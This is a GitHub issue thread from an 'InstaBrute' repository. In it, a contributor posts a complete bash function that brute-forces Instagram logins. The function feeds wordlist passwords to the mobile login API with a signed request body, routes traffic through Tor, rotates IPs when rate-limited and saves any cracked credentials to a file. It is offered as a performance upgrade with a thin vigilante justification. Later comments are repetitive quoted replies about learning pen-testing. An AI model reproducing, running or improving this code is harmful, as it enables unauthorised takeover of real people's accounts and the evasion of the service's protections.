Ha3MrX / InstaBrute

InstaBrute Two Ways to Brute-force Instagram Account Hacking
https://kurdkali.wordpress.com/
1.01k stars 223 forks source link

I want to help with some of the code here is an code prompt below. Please Read #47

Open DeroXP opened 12 months ago

DeroXP commented 12 months ago
function bruteforcer() {
  checktor
  count_pass=$(wc -l "$wl_pass" | cut -d " " -f1)
  printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" "$user"
  printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" "$wl_pass" "$count_pass"
  printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"

  startline=1
  endline="$threads"
  pause=false

  trap 'pause=true' SIGUSR1
  trap 'pause=false' SIGUSR2

  while true; do
    IFS=$'\n'
    for pass in $(sed -n "${startline},${endline}p" "$wl_pass"); do
      if $pause; then
        printf "\n\e[1;91m[*] Session Paused. Press Ctrl + R to resume.\n\e[0m"
        sleep 1
        continue
      fi

      header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
      data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
      ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
      countpass=$(grep -n "$pass" "$wl_pass" | cut -d ":" -f1)
      hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
      useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
      printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" "$countpass" "$count_pass" "$pass"

      {
        (trap '' SIGINT && var=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "200\|challenge\|many tries\|Please wait"| uniq );
        if [[ $var == "challenge" ]]; then
          printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" "$pass"
          printf "Username: %s, Password: %s\n" "$user" "$pass" >> found.passwords
          printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"
          kill -USR1 $$
        elif [[ $var == "200" ]]; then
          printf "\e[1;92m \n [*] Password Found: %s\n" "$pass"
          printf "Username: %s, Password: %s\n" "$user" "$pass" >> found.passwords
          printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"
          kill -USR1 $$
        elif [[ $var == "Please wait" ]]; then
          changeip
        fi;
        )
      } &

      sleep 0.02
    done
    wait $!
    let startline+=$threads
    let endline+=$threads
    changeip
    sleep 0.02
  done
}

this is for better performance of the brute force function if you see this I recommend you use this as you while see an great improvement and I will be adding more to the code for better performance or features. If contributors don't want me work on fixing the code I will stop and I don't need credit if they take my code cause I don't wanna be fr known as a non-ethical hacker as I use this tool for catching 'horrible people'. Thank you for reading.

Note: Even though this code makes it run faster and make sure the process doesn't break the occasional after 20 tries stops, because these are inevitable. Thank you for reading.

DeroXP commented 12 months ago

Hello. I believe I just fix the 20 tries pause break that occurs while running. I don't know 100% but if I did I will come back with a code piece and say how I fix it.

Note: There are still pauses but more like after 50-100 tries and these pauses vary on how long they are but still should not break or pause for a long amount of time.

as777ms commented 3 months ago

hi. I wanted to learn pen-testing or something about IT (to gain something healthy) can you help me?

Hello. I believe I just fix the 20 tries pause break that occurs while running. I don't know 100% but if I did I will come back with a code piece and say how I fix it.

Note: There are still pauses but more like after 50-100 tries and these pauses vary on how long they are but still should not break or pause for a long amount of time.

DeroXP commented 3 months ago

hi. I wanted to learn pen-testing or something about IT (to gain something healthy) can you help me?

Hello. I believe I just fix the 20 tries pause break that occurs while running. I don't know 100% but if I did I will come back with a code piece and say how I fix it.

Note: There are still pauses but more like after 50-100 tries and these pauses vary on how long they are but still should not break or pause for a long amount of time.

yes, i can but you should know i don't know a bunch on penetrating secure systems but pretty much the basics another thing that could help you today for example like ai, youtube, github, and a simple google search 🤷🏿‍♂️ but i can teach you just how to create things to do this and where to find it if that is what you're looking for.

as777ms commented 1 month ago

hi. I wanted to learn pen-testing or something about IT (to gain something healthy) can you help me?

Hello. I believe I just fix the 20 tries pause break that occurs while running. I don't know 100% but if I did I will come back with a code piece and say how I fix it.

Note: There are still pauses but more like after 50-100 tries and these pauses vary on how long they are but still should not break or pause for a long amount of time.

yes, i can but you should know i don't know a bunch on penetrating secure systems but pretty much the basics another thing that could help you today for example like ai, youtube, github, and a simple google search 🤷🏿‍♂️ but i can teach you just how to create things to do this and where to find it if that is what you're looking for.

and how and when we can start (if you have some issues i can wait or if you havent got time i'll wait too dude) thanks for your answer 😊

DeroXP commented 1 month ago

hi. I wanted to learn pen-testing or something about IT (to gain something healthy) can you help me?

Hello. I believe I just fix the 20 tries pause break that occurs while running. I don't know 100% but if I did I will come back with a code piece and say how I fix it.

Note: There are still pauses but more like after 50-100 tries and these pauses vary on how long they are but still should not break or pause for a long amount of time.

yes, i can but you should know i don't know a bunch on penetrating secure systems but pretty much the basics another thing that could help you today for example like ai, youtube, github, and a simple google search 🤷🏿‍♂️ but i can teach you just how to create things to do this and where to find it if that is what you're looking for.

and how and when we can start (if you have some issues i can wait or if you havent got time i'll wait too dude) thanks for your answer 😊

So I do not have time to help with this sorry, but there are youtubers that can help you with this like NetworkChuck, or you could just drop yourself into the field starting off from nothing and then building off from that. I may have some repositories that can show some example of 'security' or in general surface level security restriction bypassing. (you can ask AI for an summary on this video or just watch the video yourself and do irl projects of pen-testing.)